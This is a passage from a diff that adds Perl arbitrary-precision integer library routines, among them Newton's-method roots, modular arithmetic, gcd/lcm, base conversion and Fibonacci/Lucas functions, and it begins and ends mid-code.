+ my ($class, $x) = @_;
+ $class -> _add($x, $class -> _one());
+}
+
+sub _dec {
+ my ($class, $x) = @_;
+ $class -> _sub($x, $class -> _one());
+}
+
+##############################################################################
+# testing
+
+sub _acmp {
+ # Compare two (absolute) values. Return -1, 0, or 1.
+ my ($class, $x, $y) = @_;
+ my $xstr = $class -> _str($x);
+ my $ystr = $class -> _str($y);
+
+ length($xstr) <=> length($ystr) || $xstr cmp $ystr;
+}
+
+sub _len {
+ my ($class, $x) = @_;
+ CORE::length($class -> _str($x));
+}
+
+sub _alen {
+ my ($class, $x) = @_;
+ $class -> _len($x);
+}
+
+sub _digit {
+ my ($class, $x, $n) = @_;
+ substr($class ->_str($x), -($n+1), 1);
+}
+
+sub _zeros {
+ my ($class, $x) = @_;
+ my $str = $class -> _str($x);
+ $str =~ /[^0](0*)\z/ ? CORE::length($1) : 0;
+}
+
+##############################################################################
+# _is_* routines
+
+sub _is_zero {
+ # return true if arg is zero
+ my ($class, $x) = @_;
+ $class -> _str($x) == 0;
+}
+
+sub _is_even {
+ # return true if arg is even
+ my ($class, $x) = @_;
+ substr($class -> _str($x), -1, 1) % 2 == 0;
+}
+
+sub _is_odd {
+ # return true if arg is odd
+ my ($class, $x) = @_;
+ substr($class -> _str($x), -1, 1) % 2 != 0;
+}
+
+sub _is_one {
+ # return true if arg is one
+ my ($class, $x) = @_;
+ $class -> _str($x) == 1;
+}
+
+sub _is_two {
+ # return true if arg is two
+ my ($class, $x) = @_;
+ $class -> _str($x) == 2;
+}
+
+sub _is_ten {
+ # return true if arg is ten
+ my ($class, $x) = @_;
+ $class -> _str($x) == 10;
+}
+
+###############################################################################
+# check routine to test internal state for corruptions
+
+sub _check {
+ # used by the test suite
+ my ($class, $x) = @_;
+ return "Input is undefined" unless defined $x;
+ return "$x is not a reference" unless ref($x);
+ return 0;
+}
+
+###############################################################################
+
+sub _mod {
+ # modulus
+ my ($class, $x, $y) = @_;
+
+ croak "@{[(caller 0)[3]]} requires non-zero second operand"
+ if $class -> _is_zero($y);
+
+ if ($class -> can('_div')) {
+ $x = $class -> _copy($x);
+ my ($q, $r) = $class -> _div($x, $y);
+ return $r;
+ } else {
+ my $r = $class -> _copy($x);
+ while ($class -> _acmp($r, $y) >= 0) {
+ $r = $class -> _sub($r, $y);
+ }
+ return $r;
+ }
+}
+
+##############################################################################
+# shifts
+
+sub _rsft {
+ my ($class, $x, $n, $b) = @_;
+ $b = $class -> _new($b) unless ref $b;
+ return scalar $class -> _div($x, $class -> _pow($class -> _copy($b), $n));
+}
+
+sub _lsft {
+ my ($class, $x, $n, $b) = @_;
+ $b = $class -> _new($b) unless ref $b;
+ return $class -> _mul($x, $class -> _pow($class -> _copy($b), $n));
+}
+
+sub _pow {
+ # power of $x to $y
+ my ($class, $x, $y) = @_;
+
+ if ($class -> _is_zero($y)) {
+ return $class -> _one(); # y == 0 => x => 1
+ }
+
+ if (($class -> _is_one($x)) || # x == 1
+ ($class -> _is_one($y))) # or y == 1
+ {
+ return $x;
+ }
+
+ if ($class -> _is_zero($x)) {
+ return $class -> _zero(); # 0 ** y => 0 (if not y <= 0)
+ }
+
+ my $pow2 = $class -> _one();
+
+ my $y_bin = $class -> _as_bin($y);
+ $y_bin =~ s/^0b//;
+ my $len = length($y_bin);
+
+ while (--$len > 0) {
+ $pow2 = $class -> _mul($pow2, $x) if substr($y_bin, $len, 1) eq '1';
+ $x = $class -> _mul($x, $x);
+ }
+
+ $x = $class -> _mul($x, $pow2);
+ return $x;
+}
+
+sub _nok {
+ # Return binomial coefficient (n over k).
+ my ($class, $n, $k) = @_;
+
+ # If k > n/2, or, equivalently, 2*k > n, compute nok(n, k) as
+ # nok(n, n-k), to minimize the number if iterations in the loop.
+
+ {
+ my $twok = $class -> _mul($class -> _two(), $class -> _copy($k));
+ if ($class -> _acmp($twok, $n) > 0) {
+ $k = $class -> _sub($class -> _copy($n), $k);
+ }
+ }
+
+ # Example:
+ #
+ # / 7 \ 7! 1*2*3*4 * 5*6*7 5 * 6 * 7
+ # | | = --------- = --------------- = --------- = ((5 * 6) / 2 * 7) / 3
+ # \ 3 / (7-3)! 3! 1*2*3*4 * 1*2*3 1 * 2 * 3
+ #
+ # Equivalently, _nok(11, 5) is computed as
+ #
+ # (((((((7 * 8) / 2) * 9) / 3) * 10) / 4) * 11) / 5
+
+ if ($class -> _is_zero($k)) {
+ return $class -> _one();
+ }
+
+ # Make a copy of the original n, in case the subclass modifies n in-place.
+
+ my $n_orig = $class -> _copy($n);
+
+ # n = 5, f = 6, d = 2 (cf. example above)
+
+ $n = $class -> _sub($n, $k);
+ $n = $class -> _inc($n);
+
+ my $f = $class -> _copy($n);
+ $f = $class -> _inc($f);
+
+ my $d = $class -> _two();
+
+ # while f <= n (the original n, that is) ...
+
+ while ($class -> _acmp($f, $n_orig) <= 0) {
+ $n = $class -> _mul($n, $f);
+ $n = $class -> _div($n, $d);
+ $f = $class -> _inc($f);
+ $d = $class -> _inc($d);
+ }
+
+ return $n;
+}
+
+sub _fac {
+ # factorial
+ my ($class, $x) = @_;
+
+ my $two = $class -> _two();
+
+ if ($class -> _acmp($x, $two) < 0) {
+ return $class -> _one();
+ }
+
+ my $i = $class -> _copy($x);
+ while ($class -> _acmp($i, $two) > 0) {
+ $i = $class -> _dec($i);
+ $x = $class -> _mul($x, $i);
+ }
+
+ return $x;
+}
+
+sub _dfac {
+ # double factorial
+ my ($class, $x) = @_;
+
+ my $two = $class -> _two();
+
+ if ($class -> _acmp($x, $two) < 0) {
+ return $class -> _one();
+ }
+
+ my $i = $class -> _copy($x);
+ while ($class -> _acmp($i, $two) > 0) {
+ $i = $class -> _sub($i, $two);
+ $x = $class -> _mul($x, $i);
+ }
+
+ return $x;
+}
+
+sub _log_int {
+ # calculate integer log of $x to base $base
+ # calculate integer log of $x to base $base
+ # ref to array, ref to array - return ref to array
+ my ($class, $x, $base) = @_;
+
+ # X == 0 => NaN
+ return if $class -> _is_zero($x);
+
+ $base = $class -> _new(2) unless defined($base);
+ $base = $class -> _new($base) unless ref($base);
+
+ # BASE 0 or 1 => NaN
+ return if $class -> _is_zero($base) || $class -> _is_one($base);
+
+ # X == 1 => 0 (is exact)
+ if ($class -> _is_one($x)) {
+ return $class -> _zero(), 1;
+ }
+
+ my $cmp = $class -> _acmp($x, $base);
+
+ # X == BASE => 1 (is exact)
+ if ($cmp == 0) {
+ return $class -> _one(), 1;
+ }
+
+ # 1 < X < BASE => 0 (is truncated)
+ if ($cmp < 0) {
+ return $class -> _zero(), 0;
+ }
+
+ my $y;
+
+ # log(x) / log(b) = log(xm * 10^xe) / log(bm * 10^be)
+ # = (log(xm) + xe*(log(10))) / (log(bm) + be*log(10))
+
+ {
+ my $x_str = $class -> _str($x);
+ my $b_str = $class -> _str($base);
+ my $xm = "." . $x_str;
+ my $bm = "." . $b_str;
+ my $xe = length($x_str);
+ my $be = length($b_str);
+ my $log10 = log(10);
+ my $guess = int((log($xm) + $xe * $log10) / (log($bm) + $be * $log10));
+ $y = $class -> _new($guess);
+ }
+
+ my $trial = $class -> _pow($class -> _copy($base), $y);
+ my $acmp = $class -> _acmp($trial, $x);
+
+ # Did we get the exact result?
+
+ return $y, 1 if $acmp == 0;
+
+ # Too small?
+
+ while ($acmp < 0) {
+ $trial = $class -> _mul($trial, $base);
+ $y = $class -> _inc($y);
+ $acmp = $class -> _acmp($trial, $x);
+ }
+
+ # Too big?
+
+ while ($acmp > 0) {
+ $trial = $class -> _div($trial, $base);
+ $y = $class -> _dec($y);
+ $acmp = $class -> _acmp($trial, $x);
+ }
+
+ return $y, 1 if $acmp == 0; # result is exact
+ return $y, 0; # result is too small
+}
+
+sub _sqrt {
+ # square-root of $y in place
+ my ($class, $y) = @_;
+
+ return $y if $class -> _is_zero($y);
+
+ my $y_str = $class -> _str($y);
+ my $y_len = length($y_str);
+
+ # Compute the guess $x.
+
+ my $xm;
+ my $xe;
+ if ($y_len % 2 == 0) {
+ $xm = sqrt("." . $y_str);
+ $xe = $y_len / 2;
+ $xm = sprintf "%.0f", int($xm * 1e15);
+ $xe -= 15;
+ } else {
+ $xm = sqrt(".0" . $y_str);
+ $xe = ($y_len + 1) / 2;
+ $xm = sprintf "%.0f", int($xm * 1e16);
+ $xe -= 16;
+ }
+
+ my $x;
+ if ($xe < 0) {
+ $x = substr $xm, 0, length($xm) + $xe;
+ } else {
+ $x = $xm . ("0" x $xe);
+ }
+
+ $x = $class -> _new($x);
+
+ # Newton's method for computing square root of y
+ #
+ # x(i+1) = x(i) - f(x(i)) / f'(x(i))
+ # = x(i) - (x(i)^2 - y) / (2 * x(i)) # use if x(i)^2 > y
+ # = y(i) + (y - x(i)^2) / (2 * x(i)) # use if x(i)^2 < y
+
+ # Determine if x, our guess, is too small, correct, or too large.
+
+ my $xsq = $class -> _mul($class -> _copy($x), $x); # x(i)^2
+ my $acmp = $class -> _acmp($xsq, $y); # x(i)^2 <=> y
+
+ # Only assign a value to this variable if we will be using it.
+
+ my $two;
+ $two = $class -> _two() if $acmp != 0;
+
+ # If x is too small, do one iteration of Newton's method. Since the
+ # function f(x) = x^2 - y is concave and monotonically increasing, the next
+ # guess for x will either be correct or too large.
+
+ if ($acmp < 0) {
+
+ # x(i+1) = x(i) + (y - x(i)^2) / (2 * x(i))
+
+ my $numer = $class -> _sub($class -> _copy($y), $xsq); # y - x(i)^2
+ my $denom = $class -> _mul($class -> _copy($two), $x); # 2 * x(i)
+ my $delta = $class -> _div($numer, $denom);
+
+ unless ($class -> _is_zero($delta)) {
+ $x = $class -> _add($x, $delta);
+ $xsq = $class -> _mul($class -> _copy($x), $x); # x(i)^2
+ $acmp = $class -> _acmp($xsq, $y); # x(i)^2 <=> y
+ }
+ }
+
+ # If our guess for x is too large, apply Newton's method repeatedly until
+ # we either have got the correct value, or the delta is zero.
+
+ while ($acmp > 0) {
+
+ # x(i+1) = x(i) - (x(i)^2 - y) / (2 * x(i))
+
+ my $numer = $class -> _sub($xsq, $y); # x(i)^2 - y
+ my $denom = $class -> _mul($class -> _copy($two), $x); # 2 * x(i)
+ my $delta = $class -> _div($numer, $denom);
+ last if $class -> _is_zero($delta);
+
+ $x = $class -> _sub($x, $delta);
+ $xsq = $class -> _mul($class -> _copy($x), $x); # x(i)^2
+ $acmp = $class -> _acmp($xsq, $y); # x(i)^2 <=> y
+ }
+
+ # When the delta is zero, our value for x might still be too large. We
+ # require that the outout is either exact or too small (i.e., rounded down
+ # to the nearest integer), so do a final check.
+
+ while ($acmp > 0) {
+ $x = $class -> _dec($x);
+ $xsq = $class -> _mul($class -> _copy($x), $x); # x(i)^2
+ $acmp = $class -> _acmp($xsq, $y); # x(i)^2 <=> y
+ }
+
+ return $x;
+}
+
+sub _root {
+ my ($class, $y, $n) = @_;
+
+ return $y if $class -> _is_zero($y) || $class -> _is_one($y) ||
+ $class -> _is_one($n);
+
+ # If y <= n, the result is always (truncated to) 1.
+
+ return $class -> _one() if $class -> _acmp($y, $n) <= 0;
+
+ # Compute the initial guess x of y^(1/n). When n is large, Newton's method
+ # converges slowly if the "guess" (initial value) is poor, so we need a
+ # good guess. It the guess is too small, the next guess will be too large,
+ # and from then on all guesses are too large.
+
+ my $DEBUG = 0;
+
+ # Split y into mantissa and exponent in base 10, so that
+ #
+ # y = xm * 10^xe, where 0 < xm < 1 and xe is an integer
+
+ my $y_str = $class -> _str($y);
+ my $ym = "." . $y_str;
+ my $ye = length($y_str);
+
+ # From this compute the approximate base 10 logarithm of y
+ #
+ # log_10(y) = log_10(ym) + log_10(ye^10)
+ # = log(ym)/log(10) + ye
+
+ my $log10y = log($ym) / log(10) + $ye;
+
+ # And from this compute the approximate base 10 logarithm of x, where
+ # x = y^(1/n)
+ #
+ # log_10(x) = log_10(y)/n
+
+ my $log10x = $log10y / $class -> _num($n);
+
+ # From this compute xm and xe, the mantissa and exponent (in base 10) of x,
+ # where 1 < xm <= 10 and xe is an integer.
+
+ my $xe = int $log10x;
+ my $xm = 10 ** ($log10x - $xe);
+
+ # Scale the mantissa and exponent to increase the integer part of ym, which
+ # gives us better accuracy.
+
+ if ($DEBUG) {
+ print "\n";
+ print "y_str = $y_str\n";
+ print "ym = $ym\n";
+ print "ye = $ye\n";
+ print "log10y = $log10y\n";
+ print "log10x = $log10x\n";
+ print "xm = $xm\n";
+ print "xe = $xe\n";
+ }
+
+ my $d = $xe < 15 ? $xe : 15;
+ $xm *= 10 ** $d;
+ $xe -= $d;
+
+ if ($DEBUG) {
+ print "\n";
+ print "xm = $xm\n";
+ print "xe = $xe\n";
+ }
+
+ # If the mantissa is not an integer, round up to nearest integer, and then
+ # convert the number to a string. It is important to always round up due to
+ # how Newton's method behaves in this case. If the initial guess is too
+ # small, the next guess will be too large, after which every succeeding
+ # guess converges the correct value from above. Now, if the initial guess
+ # is too small and n is large, the next guess will be much too large and
+ # require a large number of iterations to get close to the solution.
+ # Because of this, we are likely to find the solution faster if we make
+ # sure the initial guess is not too small.
+
+ my $xm_int = int($xm);
+ my $x_str = sprintf '%.0f', $xm > $xm_int ? $xm_int + 1 : $xm_int;
+ $x_str .= "0" x $xe;
+
+ my $x = $class -> _new($x_str);
+
+ if ($DEBUG) {
+ print "xm = $xm\n";
+ print "xe = $xe\n";
+ print "\n";
+ print "x_str = $x_str (initial guess)\n";
+ print "\n";
+ }
+
+ # Use Newton's method for computing n'th root of y.
+ #
+ # x(i+1) = x(i) - f(x(i)) / f'(x(i))
+ # = x(i) - (x(i)^n - y) / (n * x(i)^(n-1)) # use if x(i)^n > y
+ # = x(i) + (y - x(i)^n) / (n * x(i)^(n-1)) # use if x(i)^n < y
+
+ # Determine if x, our guess, is too small, correct, or too large. Rather
+ # than computing x(i)^n and x(i)^(n-1) directly, compute x(i)^(n-1) and
+ # then the same value multiplied by x.
+
+ my $nm1 = $class -> _dec($class -> _copy($n)); # n-1
+ my $xpownm1 = $class -> _pow($class -> _copy($x), $nm1); # x(i)^(n-1)
+ my $xpown = $class -> _mul($class -> _copy($xpownm1), $x); # x(i)^n
+ my $acmp = $class -> _acmp($xpown, $y); # x(i)^n <=> y
+
+ if ($DEBUG) {
+ print "\n";
+ print "x = ", $class -> _str($x), "\n";
+ print "x^n = ", $class -> _str($xpown), "\n";
+ print "y = ", $class -> _str($y), "\n";
+ print "acmp = $acmp\n";
+ }
+
+ # If x is too small, do one iteration of Newton's method. Since the
+ # function f(x) = x^n - y is concave and monotonically increasing, the next
+ # guess for x will either be correct or too large.
+
+ if ($acmp < 0) {
+
+ # x(i+1) = x(i) + (y - x(i)^n) / (n * x(i)^(n-1))
+
+ my $numer = $class -> _sub($class -> _copy($y), $xpown); # y - x(i)^n
+ my $denom = $class -> _mul($class -> _copy($n), $xpownm1); # n * x(i)^(n-1)
+ my $delta = $class -> _div($numer, $denom);
+
+ if ($DEBUG) {
+ print "\n";
+ print "numer = ", $class -> _str($numer), "\n";
+ print "denom = ", $class -> _str($denom), "\n";
+ print "delta = ", $class -> _str($delta), "\n";
+ }
+
+ unless ($class -> _is_zero($delta)) {
+ $x = $class -> _add($x, $delta);
+ $xpownm1 = $class -> _pow($class -> _copy($x), $nm1); # x(i)^(n-1)
+ $xpown = $class -> _mul($class -> _copy($xpownm1), $x); # x(i)^n
+ $acmp = $class -> _acmp($xpown, $y); # x(i)^n <=> y
+
+ if ($DEBUG) {
+ print "\n";
+ print "x = ", $class -> _str($x), "\n";
+ print "x^n = ", $class -> _str($xpown), "\n";
+ print "y = ", $class -> _str($y), "\n";
+ print "acmp = $acmp\n";
+ }
+ }
+ }
+
+ # If our guess for x is too large, apply Newton's method repeatedly until
+ # we either have got the correct value, or the delta is zero.
+
+ while ($acmp > 0) {
+
+ # x(i+1) = x(i) - (x(i)^n - y) / (n * x(i)^(n-1))
+
+ my $numer = $class -> _sub($class -> _copy($xpown), $y); # x(i)^n - y
+ my $denom = $class -> _mul($class -> _copy($n), $xpownm1); # n * x(i)^(n-1)
+
+ if ($DEBUG) {
+ print "numer = ", $class -> _str($numer), "\n";
+ print "denom = ", $class -> _str($denom), "\n";
+ }
+
+ my $delta = $class -> _div($numer, $denom);
+
+ if ($DEBUG) {
+ print "delta = ", $class -> _str($delta), "\n";
+ }
+
+ last if $class -> _is_zero($delta);
+
+ $x = $class -> _sub($x, $delta);
+ $xpownm1 = $class -> _pow($class -> _copy($x), $nm1); # x(i)^(n-1)
+ $xpown = $class -> _mul($class -> _copy($xpownm1), $x); # x(i)^n
+ $acmp = $class -> _acmp($xpown, $y); # x(i)^n <=> y
+
+ if ($DEBUG) {
+ print "\n";
+ print "x = ", $class -> _str($x), "\n";
+ print "x^n = ", $class -> _str($xpown), "\n";
+ print "y = ", $class -> _str($y), "\n";
+ print "acmp = $acmp\n";
+ }
+ }
+
+ # When the delta is zero, our value for x might still be too large. We
+ # require that the outout is either exact or too small (i.e., rounded down
+ # to the nearest integer), so do a final check.
+
+ while ($acmp > 0) {
+ $x = $class -> _dec($x);
+ $xpown = $class -> _pow($class -> _copy($x), $n); # x(i)^n
+ $acmp = $class -> _acmp($xpown, $y); # x(i)^n <=> y
+ }
+
+ return $x;
+}
+
+##############################################################################
+# binary stuff
+
+sub _and {
+ my ($class, $x, $y) = @_;
+
+ return $x if $class -> _acmp($x, $y) == 0;
+
+ my $m = $class -> _one();
+ my $mask = $class -> _new("32768");
+
+ my ($xr, $yr); # remainders after division
+
+ my $xc = $class -> _copy($x);
+ my $yc = $class -> _copy($y);
+ my $z = $class -> _zero();
+
+ until ($class -> _is_zero($xc) || $class -> _is_zero($yc)) {
+ ($xc, $xr) = $class -> _div($xc, $mask);
+ ($yc, $yr) = $class -> _div($yc, $mask);
+ my $bits = $class -> _new($class -> _num($xr) & $class -> _num($yr));
+ $z = $class -> _add($z, $class -> _mul($bits, $m));
+ $m = $class -> _mul($m, $mask);
+ }
+
+ return $z;
+}
+
+sub _xor {
+ my ($class, $x, $y) = @_;
+
+ return $class -> _zero() if $class -> _acmp($x, $y) == 0;
+
+ my $m = $class -> _one();
+ my $mask = $class -> _new("32768");
+
+ my ($xr, $yr); # remainders after division
+
+ my $xc = $class -> _copy($x);
+ my $yc = $class -> _copy($y);
+ my $z = $class -> _zero();
+
+ until ($class -> _is_zero($xc) || $class -> _is_zero($yc)) {
+ ($xc, $xr) = $class -> _div($xc, $mask);
+ ($yc, $yr) = $class -> _div($yc, $mask);
+ my $bits = $class -> _new($class -> _num($xr) ^ $class -> _num($yr));
+ $z = $class -> _add($z, $class -> _mul($bits, $m));
+ $m = $class -> _mul($m, $mask);
+ }
+
+ # The loop above stops when the smallest of the two numbers is exhausted.
+ # The remainder of the longer one will survive bit-by-bit, so we simple
+ # multiply-add it in.
+
+ $z = $class -> _add($z, $class -> _mul($xc, $m))
+ unless $class -> _is_zero($xc);
+ $z = $class -> _add($z, $class -> _mul($yc, $m))
+ unless $class -> _is_zero($yc);
+
+ return $z;
+}
+
+sub _or {
+ my ($class, $x, $y) = @_;
+
+ return $x if $class -> _acmp($x, $y) == 0; # shortcut (see _and)
+
+ my $m = $class -> _one();
+ my $mask = $class -> _new("32768");
+
+ my ($xr, $yr); # remainders after division
+
+ my $xc = $class -> _copy($x);
+ my $yc = $class -> _copy($y);
+ my $z = $class -> _zero();
+
+ until ($class -> _is_zero($xc) || $class -> _is_zero($yc)) {
+ ($xc, $xr) = $class -> _div($xc, $mask);
+ ($yc, $yr) = $class -> _div($yc, $mask);
+ my $bits = $class -> _new($class -> _num($xr) | $class -> _num($yr));
+ $z = $class -> _add($z, $class -> _mul($bits, $m));
+ $m = $class -> _mul($m, $mask);
+ }
+
+ # The loop above stops when the smallest of the two numbers is exhausted.
+ # The remainder of the longer one will survive bit-by-bit, so we simple
+ # multiply-add it in.
+
+ $z = $class -> _add($z, $class -> _mul($xc, $m))
+ unless $class -> _is_zero($xc);
+ $z = $class -> _add($z, $class -> _mul($yc, $m))
+ unless $class -> _is_zero($yc);
+
+ return $z;
+}
+
+sub _to_bin {
+ # convert the number to a string of binary digits without prefix
+ my ($class, $x) = @_;
+ my $str = '';
+ my $tmp = $class -> _copy($x);
+ my $chunk = $class -> _new("16777216"); # 2^24 = 24 binary digits
+ my $rem;
+ until ($class -> _acmp($tmp, $chunk) < 0) {
+ ($tmp, $rem) = $class -> _div($tmp, $chunk);
+ $str = sprintf("%024b", $class -> _num($rem)) . $str;
+ }
+ unless ($class -> _is_zero($tmp)) {
+ $str = sprintf("%b", $class -> _num($tmp)) . $str;
+ }
+ return length($str) ? $str : '0';
+}
+
+sub _to_oct {
+ # convert the number to a string of octal digits without prefix
+ my ($class, $x) = @_;
+ my $str = '';
+ my $tmp = $class -> _copy($x);
+ my $chunk = $class -> _new("16777216"); # 2^24 = 8 octal digits
+ my $rem;
+ until ($class -> _acmp($tmp, $chunk) < 0) {
+ ($tmp, $rem) = $class -> _div($tmp, $chunk);
+ $str = sprintf("%08o", $class -> _num($rem)) . $str;
+ }
+ unless ($class -> _is_zero($tmp)) {
+ $str = sprintf("%o", $class -> _num($tmp)) . $str;
+ }
+ return length($str) ? $str : '0';
+}
+
+sub _to_hex {
+ # convert the number to a string of hexadecimal digits without prefix
+ my ($class, $x) = @_;
+ my $str = '';
+ my $tmp = $class -> _copy($x);
+ my $chunk = $class -> _new("16777216"); # 2^24 = 6 hexadecimal digits
+ my $rem;
+ until ($class -> _acmp($tmp, $chunk) < 0) {
+ ($tmp, $rem) = $class -> _div($tmp, $chunk);
+ $str = sprintf("%06x", $class -> _num($rem)) . $str;
+ }
+ unless ($class -> _is_zero($tmp)) {
+ $str = sprintf("%x", $class -> _num($tmp)) . $str;
+ }
+ return length($str) ? $str : '0';
+}
+
+sub _as_bin {
+ # convert the number to a string of binary digits with prefix
+ my ($class, $x) = @_;
+ return '0b' . $class -> _to_bin($x);
+}
+
+sub _as_oct {
+ # convert the number to a string of octal digits with prefix
+ my ($class, $x) = @_;
+ return '0' . $class -> _to_oct($x); # yes, 0 becomes "00"
+}
+
+sub _as_hex {
+ # convert the number to a string of hexadecimal digits with prefix
+ my ($class, $x) = @_;
+ return '0x' . $class -> _to_hex($x);
+}
+
+sub _to_bytes {
+ # convert the number to a string of bytes
+ my ($class, $x) = @_;
+ my $str = '';
+ my $tmp = $class -> _copy($x);
+ my $chunk = $class -> _new("65536");
+ my $rem;
+ until ($class -> _is_zero($tmp)) {
+ ($tmp, $rem) = $class -> _div($tmp, $chunk);
+ $str = pack('n', $class -> _num($rem)) . $str;
+ }
+ $str =~ s/^\0+//;
+ return length($str) ? $str : "\x00";
+}
+
+*_as_bytes = \&_to_bytes;
+
+sub _from_hex {
+ # Convert a string of hexadecimal digits to a number.
+
+ my ($class, $hex) = @_;
+ $hex =~ s/^0[xX]//;
+
+ # Find the largest number of hexadecimal digits that we can safely use with
+ # 32 bit integers. There are 4 bits pr hexadecimal digit, and we use only
+ # 31 bits to play safe. This gives us int(31 / 4) = 7.
+
+ my $len = length $hex;
+ my $rem = 1 + ($len - 1) % 7;
+
+ # Do the first chunk.
+
+ my $ret = $class -> _new(int hex substr $hex, 0, $rem);
+ return $ret if $rem == $len;
+
+ # Do the remaining chunks, if any.
+
+ my $shift = $class -> _new(1 << (4 * 7));
+ for (my $offset = $rem ; $offset < $len ; $offset += 7) {
+ my $part = int hex substr $hex, $offset, 7;
+ $ret = $class -> _mul($ret, $shift);
+ $ret = $class -> _add($ret, $class -> _new($part));
+ }
+
+ return $ret;
+}
+
+sub _from_oct {
+ # Convert a string of octal digits to a number.
+
+ my ($class, $oct) = @_;
+
+ # Find the largest number of octal digits that we can safely use with 32
+ # bit integers. There are 3 bits pr octal digit, and we use only 31 bits to
+ # play safe. This gives us int(31 / 3) = 10.
+
+ my $len = length $oct;
+ my $rem = 1 + ($len - 1) % 10;
+
+ # Do the first chunk.
+
+ my $ret = $class -> _new(int oct substr $oct, 0, $rem);
+ return $ret if $rem == $len;
+
+ # Do the remaining chunks, if any.
+
+ my $shift = $class -> _new(1 << (3 * 10));
+ for (my $offset = $rem ; $offset < $len ; $offset += 10) {
+ my $part = int oct substr $oct, $offset, 10;
+ $ret = $class -> _mul($ret, $shift);
+ $ret = $class -> _add($ret, $class -> _new($part));
+ }
+
+ return $ret;
+}
+
+sub _from_bin {
+ # Convert a string of binary digits to a number.
+
+ my ($class, $bin) = @_;
+ $bin =~ s/^0[bB]//;
+
+ # The largest number of binary digits that we can safely use with 32 bit
+ # integers is 31. We use only 31 bits to play safe.
+
+ my $len = length $bin;
+ my $rem = 1 + ($len - 1) % 31;
+
+ # Do the first chunk.
+
+ my $ret = $class -> _new(int oct '0b' . substr $bin, 0, $rem);
+ return $ret if $rem == $len;
+
+ # Do the remaining chunks, if any.
+
+ my $shift = $class -> _new(1 << 31);
+ for (my $offset = $rem ; $offset < $len ; $offset += 31) {
+ my $part = int oct '0b' . substr $bin, $offset, 31;
+ $ret = $class -> _mul($ret, $shift);
+ $ret = $class -> _add($ret, $class -> _new($part));
+ }
+
+ return $ret;
+}
+
+sub _from_bytes {
+ # convert string of bytes to a number
+ my ($class, $str) = @_;
+ my $x = $class -> _zero();
+ my $base = $class -> _new("256");
+ my $n = length($str);
+ for (my $i = 0 ; $i < $n ; ++$i) {
+ $x = $class -> _mul($x, $base);
+ my $byteval = $class -> _new(unpack 'C', substr($str, $i, 1));
+ $x = $class -> _add($x, $byteval);
+ }
+ return $x;
+}
+
+##############################################################################
+# special modulus functions
+
+sub _modinv {
+ # modular multiplicative inverse
+ my ($class, $x, $y) = @_;
+
+ # modulo zero
+ if ($class -> _is_zero($y)) {
+ return (undef, undef);
+ }
+
+ # modulo one
+ if ($class -> _is_one($y)) {
+ return ($class -> _zero(), '+');
+ }
+
+ my $u = $class -> _zero();
+ my $v = $class -> _one();
+ my $a = $class -> _copy($y);
+ my $b = $class -> _copy($x);
+
+ # Euclid's Algorithm for bgcd().
+
+ my $q;
+ my $sign = 1;
+ {
+ ($a, $q, $b) = ($b, $class -> _div($a, $b));
+ last if $class -> _is_zero($b);
+
+ my $vq = $class -> _mul($class -> _copy($v), $q);
+ my $t = $class -> _add($vq, $u);
+ $u = $v;
+ $v = $t;
+ $sign = -$sign;
+ redo;
+ }
+
+ # if the gcd is not 1, there exists no modular multiplicative inverse
+ return (undef, undef) unless $class -> _is_one($a);
+
+ ($v, $sign == 1 ? '+' : '-');
+}
+
+sub _modpow {
+ # modulus of power ($x ** $y) % $z
+ my ($class, $num, $exp, $mod) = @_;
+
+ # a^b (mod 1) = 0 for all a and b
+ if ($class -> _is_one($mod)) {
+ return $class -> _zero();
+ }
+
+ # 0^a (mod m) = 0 if m != 0, a != 0
+ # 0^0 (mod m) = 1 if m != 0
+ if ($class -> _is_zero($num)) {
+ return $class -> _is_zero($exp) ? $class -> _one()
+ : $class -> _zero();
+ }
+
+ # $num = $class -> _mod($num, $mod); # this does not make it faster
+
+ my $acc = $class -> _copy($num);
+ my $t = $class -> _one();
+
+ my $expbin = $class -> _as_bin($exp);
+ $expbin =~ s/^0b//;
+ my $len = length($expbin);
+
+ while (--$len >= 0) {
+ if (substr($expbin, $len, 1) eq '1') {
+ $t = $class -> _mul($t, $acc);
+ $t = $class -> _mod($t, $mod);
+ }
+ $acc = $class -> _mul($acc, $acc);
+ $acc = $class -> _mod($acc, $mod);
+ }
+ return $t;
+}
+
+sub _gcd {
+ # Greatest common divisor.
+
+ my ($class, $x, $y) = @_;
+
+ # gcd(0, 0) = 0
+ # gcd(0, a) = a, if a != 0
+
+ if ($class -> _acmp($x, $y) == 0) {
+ return $class -> _copy($x);
+ }
+
+ if ($class -> _is_zero($x)) {
+ if ($class -> _is_zero($y)) {
+ return $class -> _zero();
+ } else {
+ return $class -> _copy($y);
+ }
+ } else {
+ if ($class -> _is_zero($y)) {
+ return $class -> _copy($x);
+ } else {
+
+ # Until $y is zero ...
+
+ $x = $class -> _copy($x);
+ until ($class -> _is_zero($y)) {
+
+ # Compute remainder.
+
+ $x = $class -> _mod($x, $y);
+
+ # Swap $x and $y.
+
+ my $tmp = $x;
+ $x = $class -> _copy($y);
+ $y = $tmp;
+ }
+
+ return $x;
+ }
+ }
+}
+
+sub _lcm {
+ # Least common multiple.
+
+ my ($class, $x, $y) = @_;
+
+ # lcm(0, x) = 0 for all x
+
+ return $class -> _zero()
+ if ($class -> _is_zero($x) ||
+ $class -> _is_zero($y));
+
+ my $gcd = $class -> _gcd($class -> _copy($x), $y);
+ $x = $class -> _div($x, $gcd);
+ $x = $class -> _mul($x, $y);
+ return $x;
+}
+
+sub _lucas {
+ my ($class, $n) = @_;
+
+ $n = $class -> _num($n) if ref $n;
+
+ # In list context, use lucas(n) = lucas(n-1) + lucas(n-2)
+
+ if (wantarray) {
+ my @y;
+
+ push @y, $class -> _two();
+ return @y if $n == 0;
+
+ push @y, $class -> _one();
+ return @y if $n == 1;
+
+ for (my $i = 2 ; $i <= $n ; ++ $i) {
+ $y[$i] = $class -> _add($class -> _copy($y[$i - 1]), $y[$i - 2]);
+ }
+
+ return @y;
+ }
+
+ require Scalar::Util;
+
+ # In scalar context use that lucas(n) = fib(n-1) + fib(n+1).
+ #
+ # Remember that _fib() behaves differently in scalar context and list
+ # context, so we must add scalar() to get the desired behaviour.
+
+ return $class -> _two() if $n == 0;
+
+ return $class -> _add(scalar $class -> _fib($n - 1),
+ scalar $class -> _fib($n + 1));
+}
+
+sub _fib {
+ my ($class, $n) = @_;
+
+ $n = $class -> _num($n) if ref $n;
+
+ # In list context, use fib(n) = fib(n-1) + fib(n-2)
+
+ if (wantarray) {
+ my @y;
+
+ push @y, $class -> _zero();
+ return @y if $n == 0;
+
+ push @y, $class -> _one();
+ return @y if $n == 1;
+
